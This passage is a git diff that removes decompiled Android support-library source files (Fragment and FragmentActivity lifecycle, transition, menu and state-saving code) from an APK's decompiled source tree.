onAttach(Context context) { - this.mCalled = true; - FragmentHostCallback fragmentHostCallback = this.mHost; - Activity activity = fragmentHostCallback == null ? null : fragmentHostCallback.getActivity(); - if (activity != null) { - this.mCalled = false; - onAttach(activity); - } - } - - @Deprecated - public void onAttach(Activity activity) { - this.mCalled = true; - } - - public void onCreate(Bundle bundle) { - this.mCalled = true; - restoreChildFragmentState(bundle); - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl == null || fragmentManagerImpl.isStateAtLeast(1)) { - return; - } - this.mChildFragmentManager.dispatchCreate(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void restoreChildFragmentState(Bundle bundle) { - Parcelable parcelable; - if (bundle == null || (parcelable = bundle.getParcelable("android:support:fragments")) == null) { - return; - } - if (this.mChildFragmentManager == null) { - instantiateChildFragmentManager(); - } - this.mChildFragmentManager.restoreAllState(parcelable, this.mChildNonConfig); - this.mChildNonConfig = null; - this.mChildFragmentManager.dispatchCreate(); - } - - public View getView() { - return this.mView; - } - - public void onActivityCreated(Bundle bundle) { - this.mCalled = true; - } - - public void onViewStateRestored(Bundle bundle) { - this.mCalled = true; - } - - public void onStart() { - this.mCalled = true; - if (this.mLoadersStarted) { - return; - } - this.mLoadersStarted = true; - if (!this.mCheckedForLoaderManager) { - this.mCheckedForLoaderManager = true; - this.mLoaderManager = this.mHost.getLoaderManager(this.mWho, true, false); - } - LoaderManagerImpl loaderManagerImpl = this.mLoaderManager; - if (loaderManagerImpl != null) { - loaderManagerImpl.doStart(); - } - } - - public void onResume() { - this.mCalled = true; - } - - @Override // android.content.ComponentCallbacks - public void onConfigurationChanged(Configuration configuration) { - this.mCalled = true; - } - - public void onPause() { - this.mCalled = true; - } - - public void onStop() { - this.mCalled = true; - } - - @Override // android.content.ComponentCallbacks - public void onLowMemory() { - this.mCalled = true; - } - - public void onDestroyView() { - this.mCalled = true; - } - - public void onDestroy() { - this.mCalled = true; - if (!this.mCheckedForLoaderManager) { - this.mCheckedForLoaderManager = true; - this.mLoaderManager = this.mHost.getLoaderManager(this.mWho, this.mLoadersStarted, false); - } - LoaderManagerImpl loaderManagerImpl = this.mLoaderManager; - if (loaderManagerImpl != null) { - loaderManagerImpl.doDestroy(); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void initState() { - this.mIndex = -1; - this.mWho = null; - this.mAdded = false; - this.mRemoving = false; - this.mFromLayout = false; - this.mInLayout = false; - this.mRestored = false; - this.mBackStackNesting = 0; - this.mFragmentManager = null; - this.mChildFragmentManager = null; - this.mHost = null; - this.mFragmentId = 0; - this.mContainerId = 0; - this.mTag = null; - this.mHidden = false; - this.mDetached = false; - this.mRetaining = false; - this.mLoaderManager = null; - this.mLoadersStarted = false; - this.mCheckedForLoaderManager = false; - } - - public void onDetach() { - this.mCalled = true; - } - - @Override // android.view.View.OnCreateContextMenuListener - public void onCreateContextMenu(ContextMenu contextMenu, View view, ContextMenu.ContextMenuInfo contextMenuInfo) { - getActivity().onCreateContextMenu(contextMenu, view, contextMenuInfo); - } - - public void registerForContextMenu(View view) { - view.setOnCreateContextMenuListener(this); - } - - public void unregisterForContextMenu(View view) { - view.setOnCreateContextMenuListener(null); - } - - public void setEnterSharedElementCallback(SharedElementCallback sharedElementCallback) { - this.mEnterTransitionCallback = sharedElementCallback; - } - - public void setExitSharedElementCallback(SharedElementCallback sharedElementCallback) { - this.mExitTransitionCallback = sharedElementCallback; - } - - public void setEnterTransition(Object obj) { - this.mEnterTransition = obj; - } - - public Object getEnterTransition() { - return this.mEnterTransition; - } - - public void setReturnTransition(Object obj) { - this.mReturnTransition = obj; - } - - public Object getReturnTransition() { - Object obj = this.mReturnTransition; - return obj == USE_DEFAULT_TRANSITION ? getEnterTransition() : obj; - } - - public void setExitTransition(Object obj) { - this.mExitTransition = obj; - } - - public Object getExitTransition() { - return this.mExitTransition; - } - - public void setReenterTransition(Object obj) { - this.mReenterTransition = obj; - } - - public Object getReenterTransition() { - Object obj = this.mReenterTransition; - return obj == USE_DEFAULT_TRANSITION ? getExitTransition() : obj; - } - - public void setSharedElementEnterTransition(Object obj) { - this.mSharedElementEnterTransition = obj; - } - - public Object getSharedElementEnterTransition() { - return this.mSharedElementEnterTransition; - } - - public void setSharedElementReturnTransition(Object obj) { - this.mSharedElementReturnTransition = obj; - } - - public Object getSharedElementReturnTransition() { - Object obj = this.mSharedElementReturnTransition; - return obj == USE_DEFAULT_TRANSITION ? getSharedElementEnterTransition() : obj; - } - - public void setAllowEnterTransitionOverlap(boolean z) { - this.mAllowEnterTransitionOverlap = Boolean.valueOf(z); - } - - public boolean getAllowEnterTransitionOverlap() { - Boolean bool = this.mAllowEnterTransitionOverlap; - if (bool == null) { - return true; - } - return bool.booleanValue(); - } - - public void setAllowReturnTransitionOverlap(boolean z) { - this.mAllowReturnTransitionOverlap = Boolean.valueOf(z); - } - - public boolean getAllowReturnTransitionOverlap() { - Boolean bool = this.mAllowReturnTransitionOverlap; - if (bool == null) { - return true; - } - return bool.booleanValue(); - } - - public void dump(String str, FileDescriptor fileDescriptor, PrintWriter printWriter, String[] strArr) { - printWriter.print(str); - printWriter.print("mFragmentId=#"); - printWriter.print(Integer.toHexString(this.mFragmentId)); - printWriter.print(" mContainerId=#"); - printWriter.print(Integer.toHexString(this.mContainerId)); - printWriter.print(" mTag="); - printWriter.println(this.mTag); - printWriter.print(str); - printWriter.print("mState="); - printWriter.print(this.mState); - printWriter.print(" mIndex="); - printWriter.print(this.mIndex); - printWriter.print(" mWho="); - printWriter.print(this.mWho); - printWriter.print(" mBackStackNesting="); - printWriter.println(this.mBackStackNesting); - printWriter.print(str); - printWriter.print("mAdded="); - printWriter.print(this.mAdded); - printWriter.print(" mRemoving="); - printWriter.print(this.mRemoving); - printWriter.print(" mFromLayout="); - printWriter.print(this.mFromLayout); - printWriter.print(" mInLayout="); - printWriter.println(this.mInLayout); - printWriter.print(str); - printWriter.print("mHidden="); - printWriter.print(this.mHidden); - printWriter.print(" mDetached="); - printWriter.print(this.mDetached); - printWriter.print(" mMenuVisible="); - printWriter.print(this.mMenuVisible); - printWriter.print(" mHasMenu="); - printWriter.println(this.mHasMenu); - printWriter.print(str); - printWriter.print("mRetainInstance="); - printWriter.print(this.mRetainInstance); - printWriter.print(" mRetaining="); - printWriter.print(this.mRetaining); - printWriter.print(" mUserVisibleHint="); - printWriter.println(this.mUserVisibleHint); - if (this.mFragmentManager != null) { - printWriter.print(str); - printWriter.print("mFragmentManager="); - printWriter.println(this.mFragmentManager); - } - if (this.mHost != null) { - printWriter.print(str); - printWriter.print("mHost="); - printWriter.println(this.mHost); - } - if (this.mParentFragment != null) { - printWriter.print(str); - printWriter.print("mParentFragment="); - printWriter.println(this.mParentFragment); - } - if (this.mArguments != null) { - printWriter.print(str); - printWriter.print("mArguments="); - printWriter.println(this.mArguments); - } - if (this.mSavedFragmentState != null) { - printWriter.print(str); - printWriter.print("mSavedFragmentState="); - printWriter.println(this.mSavedFragmentState); - } - if (this.mSavedViewState != null) { - printWriter.print(str); - printWriter.print("mSavedViewState="); - printWriter.println(this.mSavedViewState); - } - if (this.mTarget != null) { - printWriter.print(str); - printWriter.print("mTarget="); - printWriter.print(this.mTarget); - printWriter.print(" mTargetRequestCode="); - printWriter.println(this.mTargetRequestCode); - } - if (this.mNextAnim != 0) { - printWriter.print(str); - printWriter.print("mNextAnim="); - printWriter.println(this.mNextAnim); - } - if (this.mContainer != null) { - printWriter.print(str); - printWriter.print("mContainer="); - printWriter.println(this.mContainer); - } - if (this.mView != null) { - printWriter.print(str); - printWriter.print("mView="); - printWriter.println(this.mView); - } - if (this.mInnerView != null) { - printWriter.print(str); - printWriter.print("mInnerView="); - printWriter.println(this.mView); - } - if (this.mAnimatingAway != null) { - printWriter.print(str); - printWriter.print("mAnimatingAway="); - printWriter.println(this.mAnimatingAway); - printWriter.print(str); - printWriter.print("mStateAfterAnimating="); - printWriter.println(this.mStateAfterAnimating); - } - if (this.mLoaderManager != null) { - printWriter.print(str); - printWriter.println("Loader Manager:"); - this.mLoaderManager.dump(str + " ", fileDescriptor, printWriter, strArr); - } - if (this.mChildFragmentManager != null) { - printWriter.print(str); - printWriter.println("Child " + this.mChildFragmentManager + ":"); - this.mChildFragmentManager.dump(str + " ", fileDescriptor, printWriter, strArr); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public Fragment findFragmentByWho(String str) { - if (str.equals(this.mWho)) { - return this; - } - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl != null) { - return fragmentManagerImpl.findFragmentByWho(str); - } - return null; - } - - void instantiateChildFragmentManager() { - FragmentManagerImpl fragmentManagerImpl = new FragmentManagerImpl(); - this.mChildFragmentManager = fragmentManagerImpl; - fragmentManagerImpl.attachController(this.mHost, new FragmentContainer() { // from class: android.support.v4.app.Fragment.1 - @Override // android.support.v4.app.FragmentContainer - public View onFindViewById(int i) { - if (Fragment.this.mView == null) { - throw new IllegalStateException("Fragment does not have a view"); - } - return Fragment.this.mView.findViewById(i); - } - - @Override // android.support.v4.app.FragmentContainer - public boolean onHasView() { - return Fragment.this.mView != null; - } - }, this); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void performCreate(Bundle bundle) { - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl != null) { - fragmentManagerImpl.noteStateNotSaved(); - } - this.mState = 1; - this.mCalled = false; - onCreate(bundle); - if (!this.mCalled) { - throw new SuperNotCalledException("Fragment " + this + " did not call through to super.onCreate()"); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public View performCreateView(LayoutInflater layoutInflater, ViewGroup viewGroup, Bundle bundle) { - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl != null) { - fragmentManagerImpl.noteStateNotSaved(); - } - return onCreateView(layoutInflater, viewGroup, bundle); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void performActivityCreated(Bundle bundle) { - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl != null) { - fragmentManagerImpl.noteStateNotSaved(); - } - this.mState = 2; - this.mCalled = false; - onActivityCreated(bundle); - if (!this.mCalled) { - throw new SuperNotCalledException("Fragment " + this + " did not call through to super.onActivityCreated()"); - } - FragmentManagerImpl fragmentManagerImpl2 = this.mChildFragmentManager; - if (fragmentManagerImpl2 != null) { - fragmentManagerImpl2.dispatchActivityCreated(); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void performStart() { - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl != null) { - fragmentManagerImpl.noteStateNotSaved(); - this.mChildFragmentManager.execPendingActions(); - } - this.mState = 4; - this.mCalled = false; - onStart(); - if (!this.mCalled) { - throw new SuperNotCalledException("Fragment " + this + " did not call through to super.onStart()"); - } - FragmentManagerImpl fragmentManagerImpl2 = this.mChildFragmentManager; - if (fragmentManagerImpl2 != null) { - fragmentManagerImpl2.dispatchStart(); - } - LoaderManagerImpl loaderManagerImpl = this.mLoaderManager; - if (loaderManagerImpl != null) { - loaderManagerImpl.doReportStart(); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void performResume() { - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl != null) { - fragmentManagerImpl.noteStateNotSaved(); - this.mChildFragmentManager.execPendingActions(); - } - this.mState = 5; - this.mCalled = false; - onResume(); - if (!this.mCalled) { - throw new SuperNotCalledException("Fragment " + this + " did not call through to super.onResume()"); - } - FragmentManagerImpl fragmentManagerImpl2 = this.mChildFragmentManager; - if (fragmentManagerImpl2 != null) { - fragmentManagerImpl2.dispatchResume(); - this.mChildFragmentManager.execPendingActions(); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void performMultiWindowModeChanged(boolean z) { - onMultiWindowModeChanged(z); - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl != null) { - fragmentManagerImpl.dispatchMultiWindowModeChanged(z); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void performPictureInPictureModeChanged(boolean z) { - onPictureInPictureModeChanged(z); - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl != null) { - fragmentManagerImpl.dispatchPictureInPictureModeChanged(z); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void performConfigurationChanged(Configuration configuration) { - onConfigurationChanged(configuration); - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl != null) { - fragmentManagerImpl.dispatchConfigurationChanged(configuration); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void performLowMemory() { - onLowMemory(); - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl != null) { - fragmentManagerImpl.dispatchLowMemory(); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public boolean performCreateOptionsMenu(Menu menu, MenuInflater menuInflater) { - boolean z = false; - if (this.mHidden) { - return false; - } - if (this.mHasMenu && this.mMenuVisible) { - onCreateOptionsMenu(menu, menuInflater); - z = true; - } - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - return fragmentManagerImpl != null ? z | fragmentManagerImpl.dispatchCreateOptionsMenu(menu, menuInflater) : z; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public boolean performPrepareOptionsMenu(Menu menu) { - boolean z = false; - if (this.mHidden) { - return false; - } - if (this.mHasMenu && this.mMenuVisible) { - onPrepareOptionsMenu(menu); - z = true; - } - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - return fragmentManagerImpl != null ? z | fragmentManagerImpl.dispatchPrepareOptionsMenu(menu) : z; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public boolean performOptionsItemSelected(MenuItem menuItem) { - if (this.mHidden) { - return false; - } - if (this.mHasMenu && this.mMenuVisible && onOptionsItemSelected(menuItem)) { - return true; - } - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - return fragmentManagerImpl != null && fragmentManagerImpl.dispatchOptionsItemSelected(menuItem); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public boolean performContextItemSelected(MenuItem menuItem) { - if (this.mHidden) { - return false; - } - if (onContextItemSelected(menuItem)) { - return true; - } - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - return fragmentManagerImpl != null && fragmentManagerImpl.dispatchContextItemSelected(menuItem); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void performOptionsMenuClosed(Menu menu) { - if (this.mHidden) { - return; - } - if (this.mHasMenu && this.mMenuVisible) { - onOptionsMenuClosed(menu); - } - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl != null) { - fragmentManagerImpl.dispatchOptionsMenuClosed(menu); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void performSaveInstanceState(Bundle bundle) { - Parcelable saveAllState; - onSaveInstanceState(bundle); - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl == null || (saveAllState = fragmentManagerImpl.saveAllState()) == null) { - return; - } - bundle.putParcelable("android:support:fragments", saveAllState); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void performPause() { - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl != null) { - fragmentManagerImpl.dispatchPause(); - } - this.mState = 4; - this.mCalled = false; - onPause(); - if (!this.mCalled) { - throw new SuperNotCalledException("Fragment " + this + " did not call through to super.onPause()"); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void performStop() { - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl != null) { - fragmentManagerImpl.dispatchStop(); - } - this.mState = 3; - this.mCalled = false; - onStop(); - if (!this.mCalled) { - throw new SuperNotCalledException("Fragment " + this + " did not call through to super.onStop()"); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void performReallyStop() { - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl != null) { - fragmentManagerImpl.dispatchReallyStop(); - } - this.mState = 2; - if (this.mLoadersStarted) { - this.mLoadersStarted = false; - if (!this.mCheckedForLoaderManager) { - this.mCheckedForLoaderManager = true; - this.mLoaderManager = this.mHost.getLoaderManager(this.mWho, false, false); - } - if (this.mLoaderManager != null) { - if (this.mHost.getRetainLoaders()) { - this.mLoaderManager.doRetain(); - } else { - this.mLoaderManager.doStop(); - } - } - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void performDestroyView() { - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl != null) { - fragmentManagerImpl.dispatchDestroyView(); - } - this.mState = 1; - this.mCalled = false; - onDestroyView(); - if (!this.mCalled) { - throw new SuperNotCalledException("Fragment " + this + " did not call through to super.onDestroyView()"); - } - LoaderManagerImpl loaderManagerImpl = this.mLoaderManager; - if (loaderManagerImpl != null) { - loaderManagerImpl.doReportNextStart(); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void performDestroy() { - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl != null) { - fragmentManagerImpl.dispatchDestroy(); - } - this.mState = 0; - this.mCalled = false; - onDestroy(); - if (!this.mCalled) { - throw new SuperNotCalledException("Fragment " + this + " did not call through to super.onDestroy()"); - } - this.mChildFragmentManager = null; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void performDetach() { - this.mCalled = false; - onDetach(); - if (!this.mCalled) { - throw new SuperNotCalledException("Fragment " + this + " did not call through to super.onDetach()"); - } - FragmentManagerImpl fragmentManagerImpl = this.mChildFragmentManager; - if (fragmentManagerImpl != null) { - if (!this.mRetaining) { - throw new IllegalStateException("Child FragmentManager of " + this + " was not destroyed and this fragment is not retaining instance"); - } - fragmentManagerImpl.dispatchDestroy(); - this.mChildFragmentManager = null; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentActivity.java b/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentActivity.java deleted file mode 100644 index 031bb33..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentActivity.java +++ /dev/null @@ -1,719 +0,0 @@ -package android.support.v4.app; - -import android.content.Context; -import android.content.Intent; -import android.content.IntentSender; -import android.content.res.Configuration; -import android.content.res.Resources; -import android.os.Bundle; -import android.os.Handler; -import android.os.Message; -import android.os.Parcelable; -import android.support.v4.app.ActivityCompat; -import android.support.v4.app.ActivityCompatApi23; -import android.support.v4.internal.view.SupportMenu; -import android.support.v4.media.session.MediaControllerCompat; -import android.support.v4.util.SimpleArrayMap; -import android.support.v4.util.SparseArrayCompat; -import android.util.AttributeSet; -import android.util.Log; -import android.view.LayoutInflater; -import android.view.Menu; -import android.view.MenuItem; -import android.view.View; -import android.view.ViewGroup; -import android.view.Window; -import java.io.FileDescriptor; -import java.io.PrintWriter; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class FragmentActivity extends BaseFragmentActivityJB implements ActivityCompat.OnRequestPermissionsResultCallback, ActivityCompatApi23.RequestPermissionsRequestCodeValidator { - static final String ALLOCATED_REQUEST_INDICIES_TAG = "android:support:request_indicies"; - static final String FRAGMENTS_TAG = "android:support:fragments"; - private static final int HONEYCOMB = 11; - static final int MAX_NUM_PENDING_FRAGMENT_ACTIVITY_RESULTS = 65534; - static final int MSG_REALLY_STOPPED = 1; - static final int MSG_RESUME_PENDING = 2; - static final String NEXT_CANDIDATE_REQUEST_INDEX_TAG = "android:support:next_request_index"; - static final String REQUEST_FRAGMENT_WHO_TAG = "android:support:request_fragment_who"; - private static final String TAG = "FragmentActivity"; - boolean mCreated; - MediaControllerCompat mMediaController; - int mNextCandidateRequestIndex; - boolean mOptionsMenuInvalidated; - SparseArrayCompat mPendingFragmentActivityResults; - boolean mReallyStopped; - boolean mRequestedPermissionsFromFragment; - boolean mResumed; - boolean mRetaining; - boolean mStopped; - final Handler mHandler = new Handler() { // from class: android.support.v4.app.FragmentActivity.1 - @Override // android.os.Handler - public void handleMessage(Message message) { - int i = message.what; - if (i == 1) { - if (FragmentActivity.this.mStopped) { - FragmentActivity.this.doReallyStop(false); - } - } else if (i == 2) { - FragmentActivity.this.onResumeFragments(); - FragmentActivity.this.mFragments.execPendingActions(); - } else { - super.handleMessage(message); - } - } - }; - final FragmentController mFragments = FragmentController.createController(new HostCallbacks()); - - public void onAttachFragment(Fragment fragment) { - } - - public Object onRetainCustomNonConfigurationInstance() { - return null; - } - - @Override // android.support.v4.app.BaseFragmentActivityHoneycomb, android.app.Activity, android.view.LayoutInflater.Factory2 - public /* bridge */ /* synthetic */ View onCreateView(View view, String str, Context context, AttributeSet attributeSet) { - return super.onCreateView(view, str, context, attributeSet); - } - - @Override // android.support.v4.app.BaseFragmentActivityGingerbread, android.app.Activity, android.view.LayoutInflater.Factory - public /* bridge */ /* synthetic */ View onCreateView(String str, Context context, AttributeSet attributeSet) { - return super.onCreateView(str, context, attributeSet); - } - - @Override // android.support.v4.app.BaseFragmentActivityJB, android.app.Activity - public /* bridge */ /* synthetic */ void startActivityForResult(Intent intent, int i, Bundle bundle) { - super.startActivityForResult(intent, i, bundle); - } - - @Override // android.support.v4.app.BaseFragmentActivityGingerbread, android.app.Activity - public /* bridge */ /* synthetic */ void startIntentSenderForResult(IntentSender intentSender, int i, Intent intent, int i2, int i3, int i4) throws IntentSender.SendIntentException { - super.startIntentSenderForResult(intentSender, i, intent, i2, i3, i4); - } - - @Override // android.support.v4.app.BaseFragmentActivityJB, android.app.Activity - public /* bridge */ /* synthetic */ void startIntentSenderForResult(IntentSender intentSender, int i, Intent intent, int i2, int i3, int i4, Bundle bundle) throws IntentSender.SendIntentException { - super.startIntentSenderForResult(intentSender, i, intent, i2, i3, i4, bundle); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static final class NonConfigurationInstances { - Object custom; - FragmentManagerNonConfig fragments; - SimpleArrayMap loaders; - - NonConfigurationInstances() { - } - } - - @Override // android.app.Activity - protected void onActivityResult(int i, int i2, Intent intent) { - this.mFragments.noteStateNotSaved(); - int i3 = i >> 16; - if (i3 != 0) { - int i4 = i3 - 1; - String str = this.mPendingFragmentActivityResults.get(i4); - this.mPendingFragmentActivityResults.remove(i4); - if (str == null) { - Log.w(TAG, "Activity result delivered for unknown Fragment."); - return; - } - Fragment findFragmentByWho = this.mFragments.findFragmentByWho(str); - if (findFragmentByWho == null) { - Log.w(TAG, "Activity result no fragment exists for who: " + str); - return; - } else { - findFragmentByWho.onActivityResult(i & SupportMenu.USER_MASK, i2, intent); - return; - } - } - super.onActivityResult(i, i2, intent); - } - - @Override // android.app.Activity - public void onBackPressed() { - if (this.mFragments.getSupportFragmentManager().popBackStackImmediate()) { - return; - } - super.onBackPressed(); - } - - public final void setSupportMediaController(MediaControllerCompat mediaControllerCompat) { - this.mMediaController = mediaControllerCompat; - ActivityCompat21.setMediaController(this, mediaControllerCompat.getMediaController()); - } - - public final MediaControllerCompat getSupportMediaController() { - return this.mMediaController; - } - - public void supportFinishAfterTransition() { - ActivityCompat.finishAfterTransition(this); - } - - public void setEnterSharedElementCallback(SharedElementCallback sharedElementCallback) { - ActivityCompat.setEnterSharedElementCallback(this, sharedElementCallback); - } - - public void setExitSharedElementCallback(SharedElementCallback sharedElementCallback) { - ActivityCompat.setExitSharedElementCallback(this, sharedElementCallback); - } - - public void supportPostponeEnterTransition() { - ActivityCompat.postponeEnterTransition(this); - } - - public void supportStartPostponedEnterTransition() { - ActivityCompat.startPostponedEnterTransition(this); - } - - @Override // android.app.Activity - public void onMultiWindowModeChanged(boolean z) { - this.mFragments.dispatchMultiWindowModeChanged(z); - } - - @Override // android.app.Activity - public void onPictureInPictureModeChanged(boolean z) { - this.mFragments.dispatchPictureInPictureModeChanged(z); - } - - @Override // android.app.Activity, android.content.ComponentCallbacks - public void onConfigurationChanged(Configuration configuration) { - super.onConfigurationChanged(configuration); - this.mFragments.dispatchConfigurationChanged(configuration); - } - - /* JADX INFO: Access modifiers changed from: protected */ - @Override // android.support.v4.app.BaseFragmentActivityGingerbread, android.app.Activity - public void onCreate(Bundle bundle) { - this.mFragments.attachHost(null); - super.onCreate(bundle); - NonConfigurationInstances nonConfigurationInstances = (NonConfigurationInstances) getLastNonConfigurationInstance(); - if (nonConfigurationInstances != null) { - this.mFragments.restoreLoaderNonConfig(nonConfigurationInstances.loaders); - } - if (bundle != null) { - this.mFragments.restoreAllState(bundle.getParcelable(FRAGMENTS_TAG), nonConfigurationInstances != null ? nonConfigurationInstances.fragments : null); - if (bundle.containsKey(NEXT_CANDIDATE_REQUEST_INDEX_TAG)) { - this.mNextCandidateRequestIndex = bundle.getInt(NEXT_CANDIDATE_REQUEST_INDEX_TAG); - int[] intArray = bundle.getIntArray(ALLOCATED_REQUEST_INDICIES_TAG); - String[] stringArray = bundle.getStringArray(REQUEST_FRAGMENT_WHO_TAG); - if (intArray == null || stringArray == null || intArray.length != stringArray.length) { - Log.w(TAG, "Invalid requestCode mapping in savedInstanceState."); - } else { - this.mPendingFragmentActivityResults = new SparseArrayCompat<>(intArray.length); - for (int i = 0; i < intArray.length; i++) { - this.mPendingFragmentActivityResults.put(intArray[i], stringArray[i]); - } - } - } - } - if (this.mPendingFragmentActivityResults == null) { - this.mPendingFragmentActivityResults = new SparseArrayCompat<>(); - this.mNextCandidateRequestIndex = 0; - } - this.mFragments.dispatchCreate(); - } - - @Override // android.app.Activity, android.view.Window.Callback - public boolean onCreatePanelMenu(int i, Menu menu) { - if (i == 0) { - return super.onCreatePanelMenu(i, menu) | this.mFragments.dispatchCreateOptionsMenu(menu, getMenuInflater()); - } - return super.onCreatePanelMenu(i, menu); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - @Override // android.support.v4.app.BaseFragmentActivityGingerbread - public final View dispatchFragmentsOnCreateView(View view, String str, Context context, AttributeSet attributeSet) { - return this.mFragments.onCreateView(view, str, context, attributeSet); - } - - @Override // android.app.Activity - protected void onDestroy() { - super.onDestroy(); - doReallyStop(false); - this.mFragments.dispatchDestroy(); - this.mFragments.doLoaderDestroy(); - } - - @Override // android.app.Activity, android.content.ComponentCallbacks - public void onLowMemory() { - super.onLowMemory(); - this.mFragments.dispatchLowMemory(); - } - - @Override // android.app.Activity, android.view.Window.Callback - public boolean onMenuItemSelected(int i, MenuItem menuItem) { - if (super.onMenuItemSelected(i, menuItem)) { - return true; - } - if (i != 0) { - if (i != 6) { - return false; - } - return this.mFragments.dispatchContextItemSelected(menuItem); - } - return this.mFragments.dispatchOptionsItemSelected(menuItem); - } - - @Override // android.app.Activity, android.view.Window.Callback - public void onPanelClosed(int i, Menu menu) { - if (i == 0) { - this.mFragments.dispatchOptionsMenuClosed(menu); - } - super.onPanelClosed(i, menu); - } - - @Override // android.app.Activity - protected void onPause() { - super.onPause(); - this.mResumed = false; - if (this.mHandler.hasMessages(2)) { - this.mHandler.removeMessages(2); - onResumeFragments(); - } - this.mFragments.dispatchPause(); - } - - @Override // android.app.Activity - protected void onNewIntent(Intent intent) { - super.onNewIntent(intent); - this.mFragments.noteStateNotSaved(); - } - - @Override // android.app.Activity - public void onStateNotSaved() { - this.mFragments.noteStateNotSaved(); - } - - @Override // android.app.Activity - protected void onResume() { - super.onResume(); - this.mHandler.sendEmptyMessage(2); - this.mResumed = true; - this.mFragments.execPendingActions(); - } - - @Override // android.app.Activity - protected void onPostResume() { - super.onPostResume(); - this.mHandler.removeMessages(2); - onResumeFragments(); - this.mFragments.execPendingActions(); - } - - protected void onResumeFragments() { - this.mFragments.dispatchResume(); - } - - @Override // android.app.Activity, android.view.Window.Callback - public boolean onPreparePanel(int i, View view, Menu menu) { - if (i == 0 && menu != null) { - if (this.mOptionsMenuInvalidated) { - this.mOptionsMenuInvalidated = false; - menu.clear(); - onCreatePanelMenu(i, menu); - } - return onPrepareOptionsPanel(view, menu) | this.mFragments.dispatchPrepareOptionsMenu(menu); - } - return super.onPreparePanel(i, view, menu); - } - - protected boolean onPrepareOptionsPanel(View view, Menu menu) { - return super.onPreparePanel(0, view, menu); - } - - @Override // android.app.Activity - public final Object onRetainNonConfigurationInstance() { - if (this.mStopped) { - doReallyStop(true); - } - Object onRetainCustomNonConfigurationInstance = onRetainCustomNonConfigurationInstance(); - FragmentManagerNonConfig retainNestedNonConfig = this.mFragments.retainNestedNonConfig(); - SimpleArrayMap retainLoaderNonConfig = this.mFragments.retainLoaderNonConfig(); - if (retainNestedNonConfig == null && retainLoaderNonConfig == null && onRetainCustomNonConfigurationInstance == null) { - return null; - } - NonConfigurationInstances nonConfigurationInstances = new NonConfigurationInstances(); - nonConfigurationInstances.custom = onRetainCustomNonConfigurationInstance; - nonConfigurationInstances.fragments = retainNestedNonConfig; - nonConfigurationInstances.loaders = retainLoaderNonConfig; - return nonConfigurationInstances; - } - - @Override // android.app.Activity - protected void onSaveInstanceState(Bundle bundle) { - super.onSaveInstanceState(bundle); - Parcelable saveAllState = this.mFragments.saveAllState(); - if (saveAllState != null) { - bundle.putParcelable(FRAGMENTS_TAG, saveAllState); - } - if (this.mPendingFragmentActivityResults.size() > 0) { - bundle.putInt(NEXT_CANDIDATE_REQUEST_INDEX_TAG, this.mNextCandidateRequestIndex); - int[] iArr = new int[this.mPendingFragmentActivityResults.size()]; - String[] strArr = new String[this.mPendingFragmentActivityResults.size()]; - for (int i = 0; i < this.mPendingFragmentActivityResults.size(); i++) { - iArr[i] = this.mPendingFragmentActivityResults.keyAt(i); - 